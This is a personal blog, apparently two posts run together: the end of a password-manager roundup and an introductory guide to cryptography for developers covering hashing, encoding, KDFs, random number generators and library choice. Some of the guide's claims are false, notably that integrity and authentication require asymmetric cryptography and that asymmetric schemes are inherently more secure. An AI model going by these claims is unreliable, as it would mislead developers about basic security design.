Password managers that I have used by now are: LastPass, RoboForm, NordPass, Bitwarden, KeePassXC, and Pass including OffSync my own stateless password manager, I know that's stupid you should never use your own password managers. I do that for my understanding purpose of password manager. Keeping this aside, for me the combination of Bitwarden and KeePassXC always works the best.

Btw, OffSync is still an active project; I'm just letting you know if you want to poke around it. But I STRICTLY DON'T RECOMMEND IT FOR PERSONAL USAGE. It's just my hobby project.

Password-Store aka Pass

Pass is a bit different from other password managers. It has definitely the highest learning curve. Usually, only minimalist Linux nerds use this. Pass has some info exposing issues like the number of passwords stored in a database or access to encrypted files etc. Pass only focuses on password security, that's why you won't get many features discussed above.

But they're not well discussed in the community because of two reasons. First, very few people use this and second; it's an offline password manager, so if someone has managed to get access this far, then I believe you will have more things to worry about. Because in the end, your passwords will still be safe because they are encrypted with PGP encryption. If you want to know more about Pass security, you can check out (In)Security of the "Pass" password manager.

But that doesn't mean Pass could not have any good usages. I personally don't use Pass for storing passwords, but I use it as a 2-factor Authenticator. So, If you're interested in that, you can check out this blog post How to Setup and Autofill OTP Using Pass-OTP?

Resources

• Password-Store aka Pass Setup

  • https://www.youtube.com/watch?v=sVkURNfxPd4

  • https://www.youtube.com/watch?v=FhwsfH2TpFA

• For Paranoids, Podcast on Password Managers & 2FA by Michael Bazzell

  • https://open.spotify.com/episode/5ufd5ULMssksoWxdL9WtA6

Pro Tip: Use keyboard bindings to autofill creds instead of mouse. Do that a few times and you will never touch the mouse again.

So, That's all for this time. Stay safe and start using a good password manager if aren't doing so by now. And, If you're already using one. Then it's best to start implementing the features and tricks that we have discussed. If you have any suggestions or anything important thing I forgot to mention, please let me know in the comments section or on my socials.

Bye!!!

Sometimes it is misunderstood that developers should know the maths behind the cryptographic algorithm. Which is such a myth. They don't need to worry about any maths to use any cryptographic algorithm. In reality, developers should just use them like other algorithms by importing them from libraries. Many developers also want to stay away from Cryptography.

After all, they think it's complex and doesn't need to worry about it because they have good programming skills. But if I ask you, are you sure that you will never implement any authentication system in your life, you will never manage customers' sensitive data, or do you think somebody will hire you for writing insecure code? I think your answer would be NO. Any good organization will not just ask you about your programming skills. A good developer or programmer also knows how to write well-optimized, well-designed, and well-secured code. And it's not hard at all. If you think so, then just read or listen to this blog post for better exposure to Cryptography for developers.

Basics of Cryptography

Before we get started with the developer side of cryptography, we need to understand a few basic things that are common across all the applications of Cryptography. In the next few sections, we will see why Cryptography is even needed. Misconceptions that we usually have, and what are the majority of things we use as developers?

If you already know Cryptography basics you can directly jump to Best Practices.

Before I go any further, I want you to know that this is only the tip of the iceberg in cryptography, but it's almost (60% to 80%, this is absurd) a complete iceberg for developers. Whatever I'll explain here is my experience, and I'm not an expert in Cryptography. So, feel free to correct me in the comments section.

What is the Cryptography?

If you're completely new to this. Then there is a definition from Wikipedia: Cryptography is about constructing and analyzing protocols that prevent third parties or adversaries from reading your private messages. Modern cryptography exists at the intersection of mathematics, computer science, information security, electrical engineering, digital signal processing, physics, and others. Easy enough, ya! I know that.

So, Just getting good at maths isn't gonna make you good at cryptography. You have to think about other things too. But, as developers, we only need two things from this definition. First, prevent third parties from reading private info and second, computer science. This part we already know.

If you already know Cryptography basics you can directly jump to Best Practices.

How does cryptography secure data?

Not mathematically but what does cryptography actually do to achieve data security? So, The answer to this question is that the core concept behind cryptography is to provide Data Confidentiality, Data Integrity, Authentication, and Non-repudiation. Some books also include Authorization. So, let's look at them one by one.

Confidentiality

We consider a piece of information confidential when it is only accessible to the intended individual. This is usually achieved by encrypting the plain text into ciphertext (encrypted text is called ciphertext). For example, A Doctor is the only person who should look at a patient's health report nobody else, to maintain Confidentiality. Or If A sends a message to B then C can't access it, No matter what. In real life, End-To-End encryption is the best example in messaging apps.

Integrity

To avoid any alteration in resources or information, we implement an Integrity mechanism. For example, A sends a message to B, and C can't read it but C can intercept it, change the message into something else and then send it back to B. Data Integrity is also important to make sure that information wasn't lost or corrupted in-transmit. So, to make sure data wasn't corrupted, manipulated, or lost in-transmit we can implement an Integrity mechanism that could be Message Authentication Codes (MAC) or Checksum, depending on the use case.

Authentication

We can say authentication means proving Who You Are. We have lots of examples of Authentication in the real world like Login Page, Forget Password, 2FA, etc. where you have to provide relevant information to prove Who You Are. Authentication can be achieved in different ways, but the majority of authentication methods include things like -

• Something You Know, Like Password

• Something You Have, Like Credit Card

• Something You Are, Like Biometric

Non-repudiation

Imagine your friend sends a message to you and after some time he denies that he didn't send anything to you. So, to avoid these situations where an individual can't deny the validity of certain actions, we implement a Non-repudiation mechanism. This can be done using Digital Signature.

Authorization

Authorization is an implementation to check whether a user is allowed to access a resource or not. Personally, I don't think this should be part of Cryptography. I just included this because few books refer to this in cryptography (may they try to relate cryptography with security) but, it's just a security mechanism e.g. Access Control List (ACL). And, don't get confused between Authentication and Authorization. For example, You work in a Data Center, so you can enter the building this is Authentication. But, you work at Help Desk thus you are not allowed to enter in server rooms and that is Authorization. That's it, we won't be discussing it anymore.

Type of Cryptography

Private Key Cryptography

Also, known as Secret Key Cryptography or Symmetric Key Cryptography. Where a single key is used to encrypt and decrypt the data. For Symmetric cryptography, AES-256 (Advanced Encryption Standard) is the standard for encrypting data. Know more about AES working here: The Applications Of Matrices In Cryptography.

To Encrypt: 
            Secret-Information  x  Key  =  Ciphertext

To Decrypt: 
            Ciphertext  x  Key  =  Secret-Information

-----------------------------------------------------

Same key is used for both encryption and decryption.

Public Key Cryptography

Also known as Asymmetric Key Cryptography is the exact opposite of Symmetric Key Cryptography here a key pair is generated. A Key-pair is the combination of a Public Key and a Private Key. In most cases, Public Key is used to encrypt data, and Private Key is used to decrypt data. For Asymmetric cryptography, RSA (Rivest-Shamir-Adleman) is standard for encrypting data. Due to this nature, we can achieve things like End-To-End encryption.

To Encrypt: 
            Secret-Information  x  Public Key  =  Ciphertext

To Decrypt: 
            Ciphertext  x  Private Key  =  Secret-Information

-------------------------------------------------------------

Different keys are used for both encryption and decryption. 
Public  Key for Encryption.
Private Key for Decryption.

Which one is better Symmetric or Asymmetric Cryptography?

Asymmetric Cryptography, Yep straight-up Asymmetric Cryptography provides better security than Symmetric Cryptography. But still, this is not usually the best to encrypt data. Let's understand this.

• Symmetric Cryptography is more resistant to quantum computing.

• Symmetric Cryptography is suitable for encrypting/decrypting large data.

• Symmetric Cryptography algorithms are easy to implement in the codebase.

• Symmetric Cryptography is certainly, faster than Asymmetric Cryptography.

• Symmetric Cryptography is also used for securing military-grade protection.

Even AES is also known as military-grade encryption that hasn't been broken till now (if implemented correctly). So, Symmetric Cryptography is so great then, why did you say "Asymmetric Cryptography provides better security than Symmetric Cryptography"? Well, that's true though, Asymmetric Cryptography is one of those who say less and do more.

Asymmetric Cryptography is relatively slower than Symmetric Cryptography. But It is used to transfer your keys for Symmetric Cryptography. The best example from Wikipedia: RSA is used to transmit shared keys for symmetric-key cryptography, which are then used for bulk encryption–decryption. In a security context, Asymmetric Cryptography has more flexibility and brought spectrum than Symmetric Cryptography. Let's look at a few examples.

Without Asymmetric Cryptography

• You can't use messaging apps like Signal and WhatsApp securely, End-To-End Encryption.

• You can't browse internet securely, Certificate.

• You can't solve key distribution problems in both types of cryptography, Diffie-Hellman.

• You can't achieve Non-repudiation, Digital Signature.

and the list goes on...

Note: Integrity, Authentication, and Non-repudiation mechanisms can only be possible via Asymmetric cryptography.

Encryption vs. Hashing vs. Encoding

Sometimes people get confused between these different terms. Or they use them interchangeably, even technical individuals. So let's first clear this confusion with these few lines I always say when explaining this to anyone.

1. Encrypted Data Can Be Decrypted.

2. Hashed Data Can Not Be De-hashed.

3. Encoded Data Can Be Decoded.

Encryption

Encryption is used to secure data or communication with a key or password. Once data is turned into ciphertext with a key, we will need the key again in the future to get the data back. That means Encrypted Data Can Be Decrypted. We already discussed encryption above, its working, and its types. So, we'll move on to hashing.

Hashing

Hashing is the process of transforming any given data into a fixed-sized string. It is a non-reversible or one-way process. That means, Hashed Data Can't Be De-hashed (Theoretically). In hashing, the same input always outputs the same hash or hash digest. And any minor change in inputs will drastically change the hash value. Different inputs (data) never give the same hash digest. If two different inputs end up generating the same hash, then it will be considered a Hash Collision. That's why it's recommended to always use the current Standard Hashing Algorithm (SHA-256, for now). We will talk more about it later. There are numerous use cases of hashing, like - Checksum, Message Authentication, Storing Passwords, etc.

As you can see below same input gives the same hash value.

  ~ printf "this is me" | sha256sum
dd81cb79f11bedd77be0000f28e264e2c4b42376c76b891c7845b172c071d631  -

  ~ printf "this is me" | sha256sum
dd81cb79f11bedd77be0000f28e264e2c4b42376c76b891c7845b172c071d631  -

But, If I make a small change (capitalizing the first character) it will drastically change the hash value.

  ~ printf "This is me" | sha256sum
89907528d197ac9b349a5798f802e9b571cda02062cd288a4f1641ecfb83925f  -

You can try this yourself on an online tool, CyberChef.

Encoding

Encoding is just a different representation of the same data. For instance, 10, 1010, and 0xA represent the same value in different number systems: decimal, binary, and hexadecimal, respectively. The purpose of encoding is to convert data in a way that is compatible with other applications. For instance, relational databases can't store images, but you can convert that image into text format using some encoding algorithm, and then can be stored in a database. Like hashes, encoding also doesn't require a key to encode or decode.

Let's look at how a file can be converted to base64 encoding.

  ~ cat scroll_by_me.js | base64
bGV0IHNwZWVkID0gMTsKbGV0IGNsaWNrID0gZmFsc2U7CmxldCB0ZW1wOwoKZG9jdW1lbnQub25j
bGljayA9ICgpID0+IHsKCWNsaWNrID0gIWNsaWNrOwoKICBpZiAoY2xpY2spCgkgIHRlbXAgPSBz
ZXRJbnRlcnZhbChmdW5jdGlvbigpeyB3aW5kb3cuc2Nyb2xsQnkoMCwgc3BlZWQpOyB9LCAyMCk7
CiAgZWxzZQoJICB3aW5kb3cuY2xlYXJJbnRlcnZhbCh0ZW1wKTsKfTsK

Now, you can go to CyberChef and try to decode this.

If you already know Cryptography basic you can directly jump to Best Practices.

Key Derivation Function

KDF or Key Derivation Function is a cryptographic algorithm that is used to derive one or more keys from a primary secret (a master key or a passphrase), Key Stretching to make weak keys more secure or to increase computation cost. This provides resistance against brute-force attacks or pre-computed rainbow table attacks. Like Hashing, KDF algorithms also generate deterministic output or one-way output. We can't reverse it.

When to use KDF over Hash?

Let's understand a few similarities between Hashing and Key Derivation Function. They both look and work pretty much the same, though they serve different purposes, which is crucial to look into.

Hash functions are pretty fast at calculating the hash digest (hash value) of large amounts of data. Which is best suited for ensuring integrity and message authentication. But sometimes we want things to be slow in the cryptography world. Let's see why.

Imagine, you have a SHA-256 hash digest 31c27648b8f72727ef96806d541957746c0c005268609822a7d8fa1e3ac805f8. you want to calculate its original value. But you may be thinking, "How is it even possible? Hashing is a one-way algorithm?". Well, the answer is simple: we'll brute-force. For instance, I'll use a dictionary to convert each word into SHA-256 and then compare it with the original hash value. If the values match, then I found the original text of the given hash value. Second, I can use online tools like CrackStation which already holds precomputed hash tables. Use CrackStation and comment the original text of the above hash.

Now imagine again if that hash was a password. And that is where the problem begins. Hashing algorithms aren't computationally heavy. They are designed to be fast, but in the case of a higher-security model, we prefer KDF. Cracking these kinds of hashes in the world of cloud computing is often very easy. Hackers use tools like CrackStation, John The Ripper, Hashcat, etc. That can even utilize the power of GPUs and parallel processing.

In those scenarios, KDF really stands out. KDF algorithms are essentially designed to be slow and computationally expensive. They drastically reduce the success rate of attacks like brute-force or precomputed hash tables. You can also tweak KDF algorithms to increase or decrease computation power. PBKDF2 (Password-Based Key Derivation Function 2) is a widely used Key Derivation Function, but there are also better options available, like Scrypt which also provides GPU and parallel processing resistance.

So, the Moral of the story is - Sometimes things being slow are okay.

Note : In Many places, you'll find KDF categorized as Hash.

Random Number Generator

Random Number Generator in short RNG plays a significant role in cryptography. You will encounter RNG in many situations in cryptography. Like - To encrypt data you need RNG, to use KDF you need RNG or to generate keys, again you need RNG. But, Not just any RNG. A wrong choice can lead to potential loopholes in implementation.

There are two types of Random Number Generators. First, Pseudo-Random Number Generator (PRNG) and Cryptographic Pseudo-Random Number Generator (CPRNG).

Pseudo-Random Number Generator

PRNGs are those algorithms that generate a random number or sequence that only looks random. But in reality, it's not random at all. What if I say, the libraries you use in your codebase to generate random numbers, choose a random element, shuffle a list, etc, are not random or only look random. And, When we think logically How is it even possible in the world to generate a random number from a deterministic machine? Computers only understand deterministic values or simply maths. So, the answer is they don't, they just use some Initial Value that only looks random. For instance, the number of processes running on the machine or time. Many PRNG implementations use time as an initial value. Let's understand this by an example

time = 1686919931823062166 in nanoseconds
random_number = time * 34 / (439 ** 2) % 10

random_number will be 9.5625

Now, this will generate a new random number every time you run it, but is it really a true random number? No, it's not. It just looks random in nature. So, it's not a good practice to use PRNGs for security purposes. PRNGs are best for games or simple tasks, but not for security stuff; for that we have CPRNG.

Python's random module documentation shows a big red warning box stating - Warning: The pseudo-random generators of this module should not be used for security purposes. For security or cryptographic uses, see the secrets module. This is a good example of always refer to the documentation. More on that in the Never Assume, Refer To Documentation section.

Random Fact: Python uses Mersenne Twister as PRNG in random module.

Cryptographic Pseudo-Random Number Generator

CPRNGs are algorithms that are suitable for security purposes. CPRNGs are seeded with good-quality randomness to avoid future predictions, like keyboard typing speed, mouse position, moving speed, radio decay, IOs (input/output), etc. These events are hard to predict. VeraCrypt (an encryption utility) uses mouse movements, to generate a good-quality random seed. Every programming language or operating system has different implementations of generating CPRNGs; therefore, it is not possible to mention all of them here. That's why it is recommended to refer to the documentation of the source (Programming Language, OS, Hardware, etc) that you're using to generate CPRNG. But here are a few examples: on Linux, you can use /dev/urandom and in Python, you can use secrets module. At last, CPRNGs take more time to compute a good-quality seed than PRNGs.

Best Practices To Follow In Cryptography

Up until now, we have already discussed basic terminologies and things that are commonly used in development. And now we will see important rules or bullet points that should always be considered while working with cryptography. These are some best practices to follow while selecting or implementing a cryptographic algorithm.

Never Use Own Crypto Algorithms

Ya! This has been seen very often that newcomers usually start writing their own cryptographic algorithms, which is just BAD. Even the best security organizations don't write their own algorithms to secure users' data. Instead, they use existing once that are trusted and analyzed over the years or even decades.

Bitwarden password manager is a fantastic example; they don't write any cryptographic algorithms to protect users' data. They solely import popular, reputable crypto libraries that have been tested over time by cryptography experts, Verify Here. Bitwarden doesn't even modify the existing algorithms. They just invoke them. This has also been spotted lately: developers or those new to cryptography often tend to modify existing crypto algorithms to make them more secure, like encrypting data twice, trying to change the key size, or worse... manipulating mathematics because they think their calculations are much better. But end up making it vulnerable or redundant.

Bruce Schneier once said "Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break." also known as Schneier's Law.

I'm not saying you should never write a crypto algorithm otherwise who will give us more good crypto libraries and algorithms? I'm just saying, don't use them in production if it doesn't satisfy all the mentioned best practices.

You should definitely read this short article by Bruce Schneier If you want to be a good Cipher Designer in the future - Memo to the Amateur Cipher Designer.

Never Assume, Refer To Documentation

I've mentioned Documentation a few times in this article because it's essential. Any cryptographic algorithm you import from libraries will have its own implementation rules. Different libraries will have different default values, different suggestions, and different implementation methods. For instance, let's look at a Python cryptographic module or library called PyCryptodome.

If you search on the internet about Python encryption, you'll probably see some examples with pip install pycryptodome and some with pip install pycryptodomex. Then, which one should you be using? The answer is simply to look at the documentation. You'll see pycryptodome is a drop-in replacement of the old PyCrypto library, and pycryptodomex is independent of the old PyCrypto library. So, if your project already depends upon PyCrypto then you would prefer pycryptodome instead of pycryptodomex.

One more example could be that I want to use Scrypt as my Key Derivation Function. But this KDF requires a few arguments like - N, r, p. And you don't know what they mean or what the value of these arguments should be. So, you'll again refer to the PyCryptodome Scrypt KDF section from the documentation. Then, you'll see

• N means CPU/Memory cost

• r means Block size

• p means Parallel computation

and, there default recommended values should be ( 2¹⁴, 8, 1 ) for interactive logins (≤100ms) and ( 2²⁰, 8, 1 ) for file encryption (≤5s).

Stick with Cryptography Standards

If you don't want to have headaches deciding which algorithm to pick, which algorithm is good enough, and which algorithm is secure and tested enough, then always! Always stick with cryptography standards. Because an algorithm is only stated as a standard when it has been tested thousands of times by experts and has survived heavy, unexpected, and high tides of TIME. No matter how good an algorithm looks on paper, and also works in the real world. But if it hasn't surpassed the enough long time until it is no standard. Like Argon2, a hashing algorithm that even won the 2015 Password Hashing Competition, people still have sceptical views about it just because it is a relatively new algorithm.

Most importantly, if your boss says, "Why do you think it's a good algorithm for our product?" you can throw an answer like, "If the US government thinks that AES-256 is good enough to secure their confidential data, then who the hack are you?"

Places where you can look for cryptography standards.

1. Cryptographic Standards and Guidelines From NIST.

2. Cryptography Standards From Wikipedia.

3. Cryptographic Storage and Password Storage From OWASP Cheat Sheet Series.

Fourth! My favorite is to look for well-known, trusted, and respected security products or organizations and see how they implemented the things I want to implement in my own codebase. For example, if I want to use a KDF function for key stretching in my own codebase, then which algorithm will I use and what parameters should I be using? Again, free promotion coming from Bitwarden because they did good job with the documentation. So, I'll look into Bitwarden's documentation to see what they used and why they used it. It's just one of the many examples.

Give it a shot and tell me which KDF function I should be using in the comment section: Bitwarden KDF.

And of course, I'll verify the information from different sources. Like from NIST. And lastly, standards can change, so always keep an eye out.

Stick with Trusted, Audited, and known Crypto Libraries

As we talked about cryptography standards, we also needed to discuss libraries. Because at the end you'll be using them. So, we must take special precautions while choosing crypto libraries. A developer should make sure that any library, not just a cryptographic library, is trusted and audited. You should give more priority to cryptographic libraries that come pre-packaged or are officially supported by the programming language you're using. Libraries that come pre-packaged with programming languages are often tested and audited by professionals serval times before shipping.

But, it's not common to find all cryptographic algorithms or functions in pre-packaged libraries. So, I'll give second priority to well-known, trusted, and multiple times audited libraries. In the end, you won't write any algorithms by yourself, as we discussed above. You have to put your trust in somebody, assuming that this somebody has done better work at security than you could have.

OpenSSL and Libsodium are two well-known, trusted, and multiple-time audited external libraries. Session, a secure messaging application, uses Libsodium as its encryption mechanism. Read more about Session vs Signal. You can look at the comparison of cryptography libraries. Keep in mind, information on Wikipedia can be outdated or false, so cross-verify if needed.

Buying Cryptography Libraries from 3'rd Party Vendors

Personally, I have very sceptical views about buying cryptography libraries from 3rd-party vendors or crypto library providers (IDK what to say them). I don't think they provide any value in terms of security, customer support, or money. On the other hand, I believe they reduce the security of applications. Why? Because the majority of these library providers are closed-source. So nobody can take a look at them.

Second, if I require vendor assistance for testing the implementation of the cryptographic library, I can simply hire a security engineer or cryptography specialist to conduct the necessary security checks on my behalf. And, in large organizations, you will always have one. So, I think it's just nonsense to make your code more vulnerable. Off the top of my head, I can't think of any software that does this.

By the way, these are just my opinions; I could be wrong. What are your thoughts on buying a cryptographic library? Comment 👇

Stay away from new Crypto Libraries and Algorithms

I've emphasized Time a lot because it's important to understand that, in the end, Time will show what's secure and what's not. Cryptographic libraries are no exception, like cryptographic algorithms. They both have to prove themselves in an equal manner. All the rules we decided on above require time. A library and an algorithm can't achieve the status of Trusted, Audited, or Standard overnight, it takes time. So, they have to surpass the high tides, winds, floods, or any other disaster of TIME. Scrypt, XChaCha20 or Argon2 all sound better than current standard cryptographic algorithms. But still, the only thing that is stopping them from becoming the next standard is TIME.

Though the algorithms that I mentioned above can still be trusted because they're popular and even used by some organizations like - NordPass, another password manager that uses XChaCha20 for encryption, I just wanna make a point: stay away from new algorithms and libraries. Let them spend some time in the crypto industry.

Stay with less restricted LICENSE

The simplest one, don't use closed-source libraries or algorithms. Stick with public crypto libraries and algorithms. Always check the LICENSE otherwise, it could lead to legal issues. Usually, a trusted library's and an algorithm's LICENSES are short and clear. Less restricted and open-source libraries and algorithms are often more battle-tested. As mentioned in Memo to the Amateur Cipher Designer by Bruce Schneier, if an algorithm is patented, no one will analyze it for you (unless you pay them). Why should they work for you for free?

Simply try to select an algorithm or a library that is not patented, is not closed-source, and has minimum restrictions in terms of usage.

Conclusion

That's it. You did it. See, it doesn't have to be a tough one, at least for developers. Whatever we decided above is also applicable to other parts of software development. Then why does cryptography have to be different? Well, my main goal wasn't just showcasing the code that you can find on the internet just by searching "cryptography for developers". My main goal is to make you understand why we use them and how we should use them. And what are the points to keep in mind while doing some crypto stuff?

And of course, I didn't cover lots of stuff like digital signatures, certificates, mac, etc. Because it was almost the iceberg for the developers, not the complete one. Remember when somebody says something like this in cryptography: "Hash can't be dehashed, Theoretically" or anything theoretically, That simply means the cost of doing something like this can be very high, Practically.

This took me the longest to write out of all the blogs I ever wrote. I hope you enjoyed it or found it helpful. Open to any discussion and suggestion in the comment section. Thanks for reading or listening!

See ya!